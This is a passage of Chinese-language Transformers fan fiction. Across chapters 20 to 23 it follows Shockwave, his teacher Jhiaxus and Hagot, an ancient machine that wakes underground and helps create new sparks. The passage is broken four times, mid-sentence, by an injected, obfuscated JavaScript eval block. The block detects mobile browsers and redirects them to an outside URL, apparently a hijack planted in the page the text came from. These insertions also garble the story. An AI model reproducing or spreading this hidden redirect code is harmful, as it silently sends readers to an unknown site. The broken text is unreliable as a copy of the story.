震荡波解释:“人形更便于交流,也更有利于让他理解我们。” “理解?让它?” 科学家挑起一边的眉毛,像是听见什么奇怪的事情似的。 “星球上又不缺少心理医生,你什么时候变得这么……好吧,我先不追究这些,那既然你把它做成塞伯坦人的外观,它的变形模式是什么?” “我没有给他融入变形齿轮,他大概只能在肢体上做出简单的变形。” “哦,看来你没有真的沉迷到神志不清,”哲拉萨斯听上去松了口气,“这个被埋在塞伯坦地下的机器,我们需要它记忆库中的数据以及更多功能,这都是为了塞伯坦的未来。” “我明白。” 听见弟子的回复,科学家不是很在意地点了下头,做了几项检查后就打算离开,而在临走前,他又嘱咐道: “先别将这件事通报给镇天威陛下,他不一定会支持这项研究。” 比起海格特的事,首席科学家现在正忙于按照镇天威的命令修复水晶城,除此之外他还要对守在那里的大力金刚进行一些检查——不知是出于傲慢还是谨慎,那位终极哨兵不怎么配合。 在老师离去后,独自一人的震荡波隔着培养舱的玻璃看向海格特。 沉眠中的机器在其中闭着眼,神色宁静。 “好吧,”他自言自语着,“这还是头一次对我的老师有所隐瞒。” 哲拉萨斯总是对的,他的方案也是最完美的,所以对海格特的机体设计,震荡波完全是按照老师提供的蓝图打造,连一块金属板的改动都没做过。 原本这颗巨大的眼睛会将意识上传到一台可移动的迷你计算机里,除了提供情报和基础交流之外不具备其他功能,等探索出其他用途后再添加附件。 只是在加入原材料开始打造后不久,海格特的机体塑造就偏离了原本的设计蓝图,逐渐变成如今的模样。 一具设计精巧的中型机,虽然通身是银白的金属原色,但任谁来看,它都是个塞伯坦人。 震荡波检查了所有问题,但最后也没有头绪——就好像海格特自己也内置了一份蓝图,不容改变似的。 “是因为你想变成塞伯坦人?还是你的创造者做出了这样的决定?” “……” 仍处于意识上传中的海格特没有回答他。 那我呢。震荡波问自己。 我又是为什么说了谎,保守这个秘密呢? —— ———— 之后每隔段一段时间,震荡波就会前往地下检查海格特的意识上传进度。 有时候他检查一下就走,也有时候,他会试图跟海格特说点什么。 处于意识上传状态的眼球本体没有给他更多回应,但那具新机体偶尔会动一下手指,或者抬动一下眼皮,不知道是神经导线生长阶段的自然反应,还是听见了他的话。 最后,就在某日震荡波踏入这块空间的时候,发现培养舱空了。 坚固的玻璃被打破,伴随着维生液体一起流了一地,管线混乱地洒在地面,从接触点来看像是被硬扯下来,有些导线还在冒火花。 “哦不……” 他急忙戴上能抵抗信息蠕变的眼镜,发现那颗巨大的眼睛不知何时闭了起来,周围只有后来安置的光源。 “眼睛”关闭了,这意味着意识上传成功。 那海格特呢? 震荡波的第一反应是被别人带走了,但此处被严格管控,不是领袖的许可就没人能进来。 难道是他自己醒了之后,去到更深层的地方? 科学家的学生四下找了一圈,来到通往深层的路口时,他在墙壁上发现了一些涂鸦。 看上去是很多闪烁的星星,但按照分布状态看不出是目前已知的任何一个星系,但每一颗都有着微妙的不同。 这是什么暗号吗?犯人留下的? 他不禁摸着下巴思考起来。 而就在这时,震荡波忽然感到眼前轻轻一晃,有一只手精准而安静地拿走了他的眼镜。 “!?” 年轻的科学家警惕地回头,却看见自己正在苦苦寻找的“人”站在那里——正默不作声,面无表情地观察他的眼镜,就像在研究一样极其深奥的谜团。 观察一番后,他尝试着将眼镜戴在自己脸上,观察起四周。 “……海格特?” 听见被叫了名字,浑身金属原色的中型机转头,隔着眼镜与他对视。 一动不动。 是在等着我说话吗? 震荡波疑惑地想着,用对待新认识的人那样的语气开口道:“我很高兴你能自己行动,现在感觉怎么样?新机体还适应吗?” “……” 机器还是沉默不语。 他该不会没法使用发声器吧? 正想着实验可能出现的各种缺陷,震荡波听见了声音。 “塞伯坦人。” 冷静的,温和的,会让人想起那颗巨大眼球的蓝色光芒的声音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822649|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……呃,我是。” “塞伯坦人,还会,战争?” “什么?” 他一瞬间有点怀疑自己听见的词,然而想要确认时,发现海格特在盯着自己看。 明明是非生命体,但那双浅蓝色的光学镜里,莫名能看出一些复杂的情绪。 似乎是将震荡波的反应认定为“没听懂”,海格特光学镜闪了闪,在词库里检测一番后又问道: “你们,还会,杀死,彼此?” 这次的用词更严重了,甚至带上了些许指控的意味。 “……” 原来如此。 震荡波明白了他在表达什么,他是在问战争,之前发生的那场漫长的塞伯坦内战。 “当然不会,一切都已经过去了。” 年轻的科学家也收起刚才轻松的笑意,认真回答。 “镇天威领袖会带领塞伯坦走向新的黄金时代,而我的老师哲拉萨斯会让一切变得越来越完美,我们会解决所有的能源问题和不必要的争执……总之我想,今后这颗星球上再也不会发生因自相残杀的战争。” “再也不会……?” “是的,再也不会,黄金时代会长久地延续下去。” 起码现在,他是如此坚信的。 而听见这话,海格特观察了震荡波一番,然后忽地露出一个温和的微笑,抬起头将眼镜还给他。 “那很好。” 友善的动作。 喜悦的表情。 就好像真的是个活着的塞伯坦人…… 活着? 震荡波有一瞬间的愣神,但他很快反应过来自己又被情绪影响了。 现在我得集中注意力,集中,然后要问的问题是—— “所以你是从……至少从十三部落的时代就存在了?” “嗯,我一直,看着。” 海格特点头,他的语言模块还没有适应完全,说话一顿一顿的。 “吞并,战争,熄灭,重复……一直都是,但我相信你,火种,没有说谎。” 火种? 听见这个词的震荡波突然有种恍然大悟的感觉。 他再次看向旁边墙壁上的涂鸦,如果那些刚才被他误以为是星球的东西,其实是…… “你能看到火种?哪怕隔着这些墙壁?” 机器肯定地、轻描淡写地点了下头。 “距离限制呢?” “不知道,”海格特想了一下,“应该没有。” …… 这的确不适合被人知道。 不告诉领袖是稳妥的,而震荡波还发现,他居然在思考这件事能否告诉自己的老师哲拉萨斯。 眼前的“人”显然不止有思维能力,他还拥有情感和感知,但残酷而纯粹的科学可不会管这些。 “不管这是你自己的决定,还是你设计者的计划,但既然不是塞伯坦人,你又为什么会想拥有一台塞伯坦人的身体?” 震荡波问出了自己最关心的问题。 海格特陷入长久的思考,他低着头,搜寻了半天词汇,又组织了很长时间的语言,最后才给出了回复。 “我不想再看到任何火种熄灭,所以,为了更好的塞伯坦……” 他平静地看向震荡波的光学镜。 “我想离你们近一点。” 听见这话,年轻的科学家也友善地笑起来。 “……那就为了更好的塞伯坦,欢迎你的到来。” 他说。 21.第二十一章 “你是说档案库没有相关数据,传说文献也没有记载,根本无法判断那台机器的来历。” 镇天威有些烦躁地用手指敲击座椅的扶手。 “终极哨兵知道这件事吗?” 哲拉萨斯摇头:“大力金刚对次级能量层有那样一颗眼睛也感到惊讶,他甚至以为是我制造了什么东西。” 镇天威又问:“除了火种探测和基础智能之外,那个海格特还有什么功能?” “目前不明,但它本体的内在能量读数突破了仪器探测界限,我们只能预估一些数据……” 这可不是个好消息。 “塞伯坦好不容易挣脱战争命运的负担,”领袖皱了下眉,“我不希望有任何超出控制的东西。” “陛下,”科学家小心翼翼地提醒,“目前不能判明它连接到多深的地下,贸然毁坏可能会影响水晶城的地基。” 镇天威忍不住笑了一下:“老朋友啊,你觉得我是个暴君吗?” 漫长的年头过后,他已经懒得再纠正副手对他的称呼,也可能是习惯了。 “我绝无此意……”哲拉萨斯立刻否认,“是我自己做出了短视的判断。” 话虽如此。 和畏缩胆怯的神态完全不同,在领袖无暇顾及的阴暗处,科学家的眼中只有毫无感情的审视。 从方才的表情判断,镇天威确实思考过把海格特处理掉。 塞伯坦已经承受了太久的战争,好不容易进入和平时代,容不得任何风险,他们现在需要的是富庶与发展。 但这对科研来说还是太可惜了,所以哲拉萨斯稍微用语言诱导了一下。 “您的仁慈会让我们走得更远……” “你知道我不喜欢听这些。”镇天威摆了下手,“继续做你该做的事,至于那些地下的东西就留在原地,绝不能让它到地表上来。” “是。” 对哲拉萨斯来说,暂时搁置这项研究也无所谓,他们在地下发现的东西太多了,指引之手留下的遗产够他再潜心研究几十上百万年。 于是在那之后,海格特被封存在地下次级能量层,漫长的时间里,再也没人见到过他…… 本该是这样的。 但随着一阵脚步声,漆黑的地下空间内,感应灯源逐渐被点亮。 海格特原本靠坐在自己的本体旁边,注意到动静就抬起头,果不其然,他看见了震荡波,灯光照得那人浅色的涂装泛起银白。 “光源过剩了,”海格特被刺得眯了下眼,“有点浪费能源。” “这点能量消耗算不上什么,我倒是觉得我的登场还不够闪亮,光可是生命之源。” 话虽如此,震荡波还是熄灭了一半的感应灯,他手臂里搬着什么东西,有些遮挡视线,以至于往里走的时候差点绊倒。 “啊!我永远受不了这些管线,这无穷宇宙的累赘,”他抱怨一声,但很快又压低声音,“好了海格特,老规矩,帮我个忙。” “我知道了。” 于是机器将视线转移到某个方向。 “个体哲拉萨斯,已确认其火种在塞伯坦-铁堡科研所-质量部门实验室,具体坐标——” “不用那么详细。”震荡波让他停下,“我只是想确认一下老师不在学校。” 于是海格特将视线投向他。 “你又是偷偷过来的。” “‘偷偷’的定义是什么?”年轻的科学家板着脸,狡猾地竖起一根手指。 “……” 上次震荡波用这招跟他辩论了整整一个塞星时,差点把他逻辑电路说打结,话题偏到十万八千里外,最后也没有结果,让海格特深切体验了一把人心险恶。 所以这次,在对方开始又一场语义学纷争前,机器就选择了沉默。 “为什么不说话?” “没有意义。” “什么都没有意义?” “是的。” “……你是在生气吗?” “我在计算你被发现后,再也不能下来的概率。”金属色的仿生塞伯坦人看向他。 震荡波愣了一下。 “你会在意这个?”话刚出口,他又觉得有些不妥,补充道,“我以为时间的概念对你来说没那么重要。” 眼前这台古老的机器,根据其本体的金属样本估算下来,至少已经经过了六百万年的岁月。 可惜的是海格特只能看见火种,以及它周围这块深邃的地下空间,所以对那些关键情报都不清楚——比如塞伯坦骑士团去了哪里,又比如指引之手当年到底发生了什么。 这些内容震荡波都迫不及待地问过,得到的收获寥寥。 无论如何,虽然他没有直接成为历史的一部分,但海格特已经见证了漫长的历史。 这样的存在,居然会担心我以后不下来找他吗? “我想做些旁观之外的事,所以需要与你们接触。”海格特说,“你要是不下来,我就会继续等待下一个‘你’。” 好吧,原来是这样。 “不会变成那样的,”震荡波一边解释,一边组装起带过来的东西,“老师其实也没有理由控制我的行动,‘自由是每个智慧生命的权利’——这是镇天威领袖亲口所言,我当然也是其中之一……呃,抱歉。” “你不需要道歉。”海格特说,“我不是智慧生命,分清界限能让你避免很多不必要的同情。” 缩在黑暗的地下,注视着火种的光,日复一日,独自度过几百万年。这种情况下还能保持正常运转的确实只有真正的机器。 ——从逻辑上判断确实如此。 震荡波从善如流:“那你可以理解为我比较礼貌。所以话题结束,我们走吧。” “什么?” “你忘了吗?你上次说对音乐感兴趣。” 海格特想了一下,确实有这么回事:“因为有人路过我附近的时候唱过,我有些好奇。” “你一定是在说狂飙……我当然没办法录下那位大人的歌声,”要是被发现了,估计会被这位爱国者砍下脑袋,“但我可以带你去别的地方听。” 震荡波将组装完毕的设备交给海格特,那是个简易版飞行背包。 “我们去水晶城。” “我记得你们的新领袖禁止我去往地表。”海格特疑惑。 “但我现在许可了,”震荡波笑着说,“以我自己的名义。” —— ———— 用飞行背包穿过隧道,越过桥梁,在漫长的行程过后,他们到达了地上。 此时正值深夜,水晶城也仍是无人居住的空城,但电力系统正在测试,于是灯火在地上铺展,展现出这座传说中的古老都市的全貌。 一座座塔楼、桥梁与房屋错综复杂又精巧地彼此相连,反射出天空的颜色,那些由特殊的光滑金属打造而成的晶体墙面,与其说是固体,不如说更像是刹那间静止的水流。 漫天星光正汇聚在这座荣耀的城市上。 一个真正的奇迹。 海格特之前就知道这座城市的存在,震荡波曾经给了他很多数据库,里面就有水晶城的图片。 也正因如此,一个问题将他从震撼中拉了出来。 “我记得它应该在地下?” 他看向震荡波,而后者似乎就在等着这个问题,马上露出笑容。 “是啊,但现在它拔地而起了。”震荡波说,“在老师的科技帮助下,这座城市只会比几百万年前更伟大。” 然后他详细地介绍起了这里的各项工程,包括哲拉萨斯是如何用那无与伦比的智慧完善动力工程、补全能源设备,又是如何效率惊人地完成了对所有建筑的维护。 “……你很尊敬你的老师。” 在默默听完这一切后,海格特做出了如此评价。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837521|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那当然。”震荡波点头,“很多人指控他无情无义,但老师只是太投入了,他对这颗星球的贡献不比任何人少,但人们更容易记得那些坏的部分……总之我想说的是—— 就像这座城市一样,很多本以为不可能重见天日的东西,总有一天都会迎来自由。” 两人之间沉默了一会儿,直到海格特不太确定地歪了下头: “你是在说我吗?” “……” “你是想安慰我吗?” “饶了我吧!你已经把气氛毁得千疮百孔了。”年轻的科学家捂着脸。 “‘气氛’的定义是什么?” 震荡波有一瞬间怀疑海格特真的在报复他,如果不是对方脸上带着一如往常,毫无改变的神色。 指望一个智能机器理解这么微妙的东西还是太难了。 “这个以后再说吧,时间马上就到了,你仔细听。” 于是海格特安静下来,凝神细听。 夜空中忽然传来一道悠长的钟鸣,然后一支美妙的乐曲轻轻随风飘了过来。 宛若与群星共鸣的曲调。 听上去稍微有点耳熟。 “这是狂飙当时唱的那段……”海格特微微睁大眼睛,“原来如此,他唱错了好多音。” 震荡波没忍住笑:“这几乎是个公开的秘密,但你最好别跟任何人说。” “为什么?” “因为气氛。” 又是这个东西。海格特心想。真深奥。 他索性不去想了,专注地聆听这乐曲的声音。 过了一会儿,视野稍低的地方突然出现了两颗火种,因为都有些特别,所以他几乎是看了两眼就认出来。 “有两个人在往这个方向走。” “谁?” “镇天威领袖,还有终极哨兵大力金刚……他们停在我们下方的位置。” 不好。 哪怕被哲拉萨斯老师发现后训斥一通,震荡波也不希望被镇天威发现,肯定会多吃点苦头不说,可能从此他真的再也见不到海格特了。 于是他示意对方别说话,然后带海格特撤离。 在离开前,从塔楼下方断断续续地传来了一些交谈声,领袖和终极哨兵似乎在谈论一些关于宇宙和自由的话题。 机器顿了一下,停下脚步。 “怎么了?” “我听见他们在聊宇宙,”海格特说,“镇天威想离开塞伯坦?” “只是暂时的,领袖最近有个宇宙交流贸易计划。” 震荡波也停了下来,他们站在一处背风的台阶上。 “这件事很缺人手,科学院被下达了培养新塞伯坦人的项目,老师最近就是在实验室里忙这件事。” “新塞伯坦人,”海格特念着这个词,“你是说人口?” “没错,火种的大规模收割已经是很久之前的事了,宇宙探索又很缺人——各个星球都需要驻扎人员,飞船又需要一大批可靠的船员。”震荡波说着,目光远眺到深邃的上空,“目前已有的,培育新火种的效率又特别缓慢,不过老师总会有办法……” 他说着,突然注意到机器陷入了思考。 片刻后,海格特抬起头:“很多年前,很多人也是出发离开塞伯坦,然后再也没有回来,我不确定宇宙探索对你们来说是件好事。” 他在说那些寻找到赛托邦的塞伯坦骑士。震荡波想。 “我理解你的担忧,但今时不同往日,”科学家笑了一下,“我们已经规划出一条从银河系的塞伯坦象限,穿过本祖里星域的安全航线,科技在发展,海格特,我们会变得更好的。” 变得更好。 这个词似乎触动了海格特,他盯着震荡波的火种看了一会。 过了半晌,似乎下定了决心。 “我可能…知道一个办法。”他说,“关于制造新火种。” 22.第 22 章 在许多年前的一次会议上,镇天威领袖提出了“宇宙交流计划”。当时这只是个设想,但随着时间推移,尤其是星际飞船“方舟”的建造,让它变得越来越接近于现实。 规划一条安全通道,让塞伯坦从此与整个宇宙连接。 起码这听上去是美好的。 为了保险起见,海格特看完了震荡波带来的材料,在了解这个计划目前已公布的所有内容后,在一个合适的时机,震荡波向自己的老师汇报了海格特想要帮忙的事。 对于哲拉萨斯来说,谁都需要经过检验,哪怕是作为终极哨兵首领的大力金刚,他当初也坚持对其进行了全方位身份核实——虽然这直接导致了终极哨兵对他的反感和不信,但科学家还是坚持自己的作风。 于是在某个日子,他和震荡波一起来到地下。 “……” 然而,当海格特与他见面后,很长一段时间都没有说话。 “我的学生说你有办法,解决制造新火种的问题。”科学家说,“既然如此,你现在为什么一言不发?” “我或许会把技术交给震荡波,但还不确定是否要将它交给你。” “你交给他,就等同于交给我。” “我知道,他对您十分尊敬,肯定会毫无保留……所以我才需要与您见面。” “呃,两位……” 今天的话题是这个吗? 站在一旁的震荡波感到有些尴尬,但他想插句话,却一直找不到合适的时机。 作为科学家的学徒,他虽然拥有一定地位,但在社会上还只是个初出茅庐的新人,对这种场面很不适应。 海格特仔细看着哲拉萨斯那颗冰冷燃烧的火种,虽然同样是科学家,但它和震荡波的截然相反。 “我见过你的火种,它偶尔会闪烁在一些极为痛苦的人身边,并且他们最后也不会获得平静。” “那些是为了科学发展所必要的牺牲。”哲拉萨斯说,“而制造新的火种,让新的塞伯坦人诞生——我不认为这其中有什么道德风险,就算有,那也不是我该考虑的事。” “或许你该考虑一下,为了避免将塞伯坦再度化为地狱。” 哲拉萨斯还是摇了摇头: “抛弃那些不着边际的比喻吧,你一定是被我的学生影响了……我是个更严谨的科学家,海格特,所以我摆在你面前的只有现实,而现实就是——你是一台机器。” 震荡波张了张嘴,他似乎想阻止自己的老师说出太残酷的话,也想说点什么来缓和气氛,但海格特只是从容地点了下头,承认了这一点。 “所以呢?” “所以你是近乎永恒的——虽然我们知道‘永恒’是个伪命题,但你可能是物理意义上最接近这个参数的存在。” “是的。” “那你非要等待一个在道德上完美无瑕的契机,那概率几乎为零,你只有永恒地旁观下去。” “概率是很低。”海格特再次承认,“但我想,为了你们种族的未来,这样的等待是值得的。” “好,那让我告诉你,你会面对什么。” 哲拉萨斯冷静地看着他。 “天生的热点已经越来越少了,首先随着时间推移,现有的火种或是会散在宇宙中,或是死于疾病或战斗——你见证过离去、见证过战争,那么你也将在未来见证这颗星球的死寂,这是迟早的事。” “……” “等所有人都死了,所有的火种都熄灭,你还存在着,于是你会转而盼望着新的生命种族诞生。就当奇迹发生,随着一颗陨石降落,一些新的生命真的出现了,但在那之后呢?” 哲拉萨斯那些冷静到极点的话就像一个黑洞,牵扯、扭曲、挤压着周围的空间。 “你目前存在了几百上千万年,可我要告诉你,这个维度还是太小了,你接下来还将独自经过几十亿年,几兆年、几京几垓几秭年…… 无论你和什么种族在一起,他们最终都会灭亡,无论几次出现奇迹,它们都会消失,但作为一台机器你并不会崩溃,你还永远地‘活着’。” “我……” “直到宇宙的熵增突破界限,迎来热寂——” 哲拉萨斯突然收声,望着海格特的眼睛,小声道: “你能做的,都只有看着空无一物的漆黑发呆而已。” “!” 不知道是被哪句话所触动,海格特猛地颤抖一下。 在震荡波担忧的目光中,他忽然抬起头平静地说了声“抱歉”。 然后抄起旁边的数据板砸中了哲拉萨斯的头雕。 虽然过程不是很愉快,但在那之后,一切都顺利到不可思议的地步。 海格特将技术的大体内容传输了哲拉萨斯,后者不仅没有追究他的无礼行为,甚至也没有追究震荡波违背规定去了地下的事。 正相反,哲拉萨斯心情很好,他尽快说服了镇天威领袖,还给海格特安排了一份工作。 “工作?”得知消息的震荡波有点不可置信地睁大眼睛,“您的意思是,他能去往地表?” “当然,”哲拉萨斯点头,“我还没闲到能在地下给他单独做一个研究室,而且‘方舟’还需要我继续打造,等海格特将技术完全展现,领袖的首席工程师会接手后续的工作。” “您是说那位泰瑞斯特?至圣先贤啊!这真是……” “说起来这还是你的功劳,”科学家打断了学生的话,罕见地笑了一下,“你是个契机,不然我也不会意识到这一点,震荡波,你知道之前海格特的反应是个多么完美的证明吗?” “什么证明?”震荡波问。 “证明你之前是对的呀。”哲拉萨斯说着,眼中闪过一丝冰冷的兴趣,“你的判断没错,海格特他的确不只是一台‘机器’。 ——他居然会恐惧。” —— ———— 火种是塞伯坦人生命的核心,它的本质是一种超自然电子团,由一种极为稀有的能量经过电磁脉冲形成。 在很长很长的时间内,它们就是海格特的全部世界。 他一直看着它们生生灭灭,而不知从何时起,看到火种熄灭会在他的主系统内产生一种奇怪的、紊乱的电子流。 这种感觉很不舒服。 所以海格特越来越不希望看到火种熄灭。 幸运的是,电磁脉冲时不时会照亮一个个热点区域,点燃一批又一批的新火种,虽然速度越来越慢,但仍然能让这颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853951|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星球保持勃勃生机。 ——直到战争爆发。 那场发生在十三部落之间的大战让火种成片成片地熄灭,再也没有亮起,每当聚集起来的一堆火种遇上另一堆,最后剩下的都只剩下一半左右。 海格特最初不知道发生了什么事,当他意识到塞伯坦人在自相残杀时,战争已经接近了尾声。 视野中,黑色的部分明显变多了。 他的世界在收缩,而新生的火种相比起来又是那么稀少。 这样下去,总有一天……怎么看都会变成真正的漆黑一片。 “……” 主系统内那种令人不舒服的电子流变得愈发难以忍受,让他近乎抓狂。 所以当震荡波告诉他领袖想要增加人口时,海格特的第一反应就是予以协助。 这是个好机会。 虽然过程可能并不光彩。 “你是说,必须刺激领导模块?还是你已经这么做了。”听见海格特的话,名为泰瑞斯特的工程师忍不住皱了下眉,“我不明白……麻烦你解释一下。” “嗯,被你们称为领导模块的这块光子结晶,其中的脉冲含有海量遗传编码,将其激活后与能量混合,就能成为新的塞伯坦人。” “你是怎么知道这件事的?” “和我的诞生有关,”海格特回答,“创造我的那个塞伯坦人,他知道这件事。” 似乎是哲拉萨斯的劝说起了作用,镇天威领袖权衡了一段时间,就将领导模块授权给了实验室。 然而现在,在一切正式开始前,海格特还提出了几件事,准确来说是几个要求—— 首先,经过这种方式诞生的新火种,都需要与所有自然诞生的火种一样,经过专门的铁匠培育,找到符合自己遗传指令的变形模式。 其次,保障新火种的权利,让他们拥有和其他塞伯坦人一样的社会地位。 最后,在塞伯坦上火种的数量达到内战前的状态后,就停止激活新火种。 至于其他的,比如对外怎么宣传这些人的来历,都交给领袖来定夺,这不是海格特的职能范围。 “如果你坚持,我会通知给领袖。”泰瑞斯特思索地说,“所以你一直这么擅长维持秩序,保持公正吗?” “……” 海格特没有回答这个问题,于是以为他拒绝回答的工程师挑了下眉,转身先离开了。 实验室内,只剩下只身一人的机器茫然地望着实验仪器。 那里静静地躺着一颗火种。 由他亲手制造出来的,来自领导模块的火种。 ——秩序,公正。 这些分明是与他相距最远的词汇。 海格特将手搭在几个按钮上,望着那明亮的淡蓝色正电子团。 或许全星球也不会有比他更自私的存在。 但至少,这不是一件坏事。 他这样想着,打开了能量传输通道,管道上的能量发光带迅速亮起,让他无端想起震荡波之前找自己时“登场”所用的那些感应灯。 既然无法避免担忧那样孤独的黑暗,就趁着一切尚未消失,将生命尽可能地编织进去。 “这是……为了未来。” 他喃喃着。 23.第二十三章 “所以——你来自铁堡,是个科学家,最近有个重要的项目刚刚结束,你来这个地方是为了找一个朋友。” “呃……?” 震荡波露出一个困惑的微笑。 他看着眼前这个黄蓝相间涂装的塞伯坦人,而后者正在隔着护目镜,用一种异常仔细的目光打量他,就像超大的泛光灯正在检查一个电路板上的细节。 这里是塞伯坦西南部一个叫尤斯(Yuss)的小镇,坐落于斯坦尼克斯地区的边缘,风貌氛围都与铁堡完全不同,人们身上搭配着独特的金属织物,连邮差走路的速度都是缓慢悠闲的。 一个格外宁静的地方。 震荡波刚来没多久,本想找人问路,但刚与路边的这人对上视线,就被主动找了过来,自己还什么都没说,对方就说了一大堆。 “好吧,”他最后还是问出了那个大概是被对方期待已久的问题,“你是怎么知道这些的?” “我是一名侦探。” “侦探?” “我推理出来的。” “推理?” 震荡波疑惑地看着他,尤其是他身上挂着的安保人员证件。 “是的,我叫夜巡,虽然现在的职业是尤斯的巡逻安保人员,但我不会一直做这个。” 有着蓝黄相间涂装的塞伯坦人坦然地做了自我介绍,然后解释了刚才推理的各种细节,比如震荡波那些细微的动作如何代表他的职业、刚更换的涂装又是哪里的风格、光学镜的颜色代表他熬了几天夜之类。 “你要找人,但没有带着地址,你联系不上对方,一方面你觉得自己来太晚了,另一方面,你也不确定对方是否同等地将你视作朋友……” “咳,让我多保持一会自信的形象好吗?”震荡波无奈地打断了夜巡的话,“我现在只想知道你为什么要谈我的个人隐私。” 这种过度仔细的探究几乎有些冒犯,所幸他并没有感觉到恶意,所以也就没有追究。 “哦,对。” 夜巡敲了下手掌,忽然做出一个笑来。 “我自从培训结束,正式上线以来就一直在尤斯生活,我认识这里的每块金属,每一个人——但根据种种迹象显示,这里一定有个隐藏的居民。” 隐藏? 震荡波琢磨着这个词:“你是说有人就生活在这里,但你不能确认对方的存在?” “是的,从能量的消耗或者其他人的反应里我能判断出这一点,我最近发现他就藏在镇子的边缘,而且那可能就是你要找的人。” 于是他们来到尤斯的边缘地带,这是一片广袤的平原,人迹罕至,也没有什么成型的道路。 震荡波试图用网络连接附近区域,但试了几次都显示连接失败,这快地带似乎被人启用了电磁波屏蔽处理,无法从外部进行连接。 “谁会特地屏蔽一块平原呢?”夜巡摊了下手,“我的探索就停在这里,接下来就看你的了,大个子,你有什么好主意?” “既然你知道我是个科学家,”震荡波看向他,“那我就将展现科学的力量。” “哇哦。” 年轻的侦探刚感叹出声,就看见科学家一手放在嘴边作扩音状: “海格特!在吗?” “……?” “这是物体振动产生的机械波,简称声音的传递。”他对一脸困惑的夜巡解释道,“老方法了,但很管用。” “你确定这有用?” 话音未落,平坦的地面突然开始发出震动,紧接着一块地面向两侧掀开,展示出一个不大不小的入口。 “现在确定了。”震荡波颇为自得地笑了一下,拿出一份文件递给夜巡,“不过我不能让你进去,下面的内容属于政府机密,麻烦你通知一下周围居民不要接近……非常感谢你的帮助,希望你早日成为真正的侦探。” 说完,他独自走进那个入口,门在身后合上。 —— ———— 穿过漆黑的台阶,震荡波一路向下。 “这里比我想象得更偏僻。”他边走边抱怨着,“说真的,他们不该把你的新办公场所改得这么偏远,一路上我连个油吧都没看到,这里的人也全都与世无争,或许你该提出申请回到铁堡。” “我不需要那些娱乐设施。”一个声音回答了他,“也不需要介入争斗。” “好吧,我就知道,”震荡波耸了下肩,又用极小的声音喃喃,“但你可能需要一个朋友。” 他走到台阶的终点,看见实验室的门。 一路向下的感觉挺酷的,他心想。以后我有自己的实验楼了也这样造一个。 “人口已经几乎恢复到战前的水平,”当他拉开门时,听见海格特从椅子上站起来的声音,“这是份很有意义的工作,震荡波,我想我总算理解了领袖说的‘各司其职’。” “……” 震荡波愣了一下。 眼前的海格特站在一台仪器旁边,荧荧光亮洒在他身上,他看上去跟以前不太一样了,状态前所未有的好,表情也更有神采,这或许和最近的火种复兴有关。 就像是大病初愈,或者说找到了生活的动力。 他甚至有功夫给自己弄了一套涂装,不再是金属原色了。 只不过…… “至圣先贤在上!这是谁给你挑的颜色?” 眼前的机体上除了手和脸之外,几乎全都是黑与灰。 “你说这个?”海格特看了眼自己的手臂,“我想尽可能低调一点,原金属太显眼了。” 你以为自己现在不显眼吗?震荡波有点崩溃:“换一下吧,相信我,没有人会选全黑。” “但我在外面的时候也没有受到关注,外出买能量的时候,那里的老板也没有跟我说话。” 震荡波啪地捂住了眼睛:“他们当然不说了,因为他们会以为你刚失去了火种伴侣什么的。” “……” 海格特思考了片刻,抬起头:“那怎么办?” “弄点别的颜色,我给你发一份配色精选。” “好。” 然后他给震荡波找了个位置坐下,给对方倒了杯能量饮料,就又回到观察的仪器前。 “你刚才见到夜巡了。” “你知道?” “是火种,你们的火种相遇了。” “好吧,那的确解释得通,”震荡波点头,“是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867963|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,就是那个致力于成为侦探的年轻人帮我发现了你在这。” 海格特手上的动作顿了一下:“他现在还好吗?” “你问我?我今天刚到,而你就住在这,想知道为什么不自己去问?” “不行,”海格特摇头,“他太聪明了,观察力远超常人,多看几眼就会知道真相,所以我只能避开。” 好吧,隐身人之谜就是这么来的,有时候真相就是这么无聊。 “你担心他发现你并非塞伯坦人?”震荡波问。 “也有这个缘故,”海格特说着,调整了仪器上的几个参数,“但我更担心的是,万一他发现自己的诞生不是来自所谓的‘火种拼接’,而是被一台机器制造出来……” “等一下。” 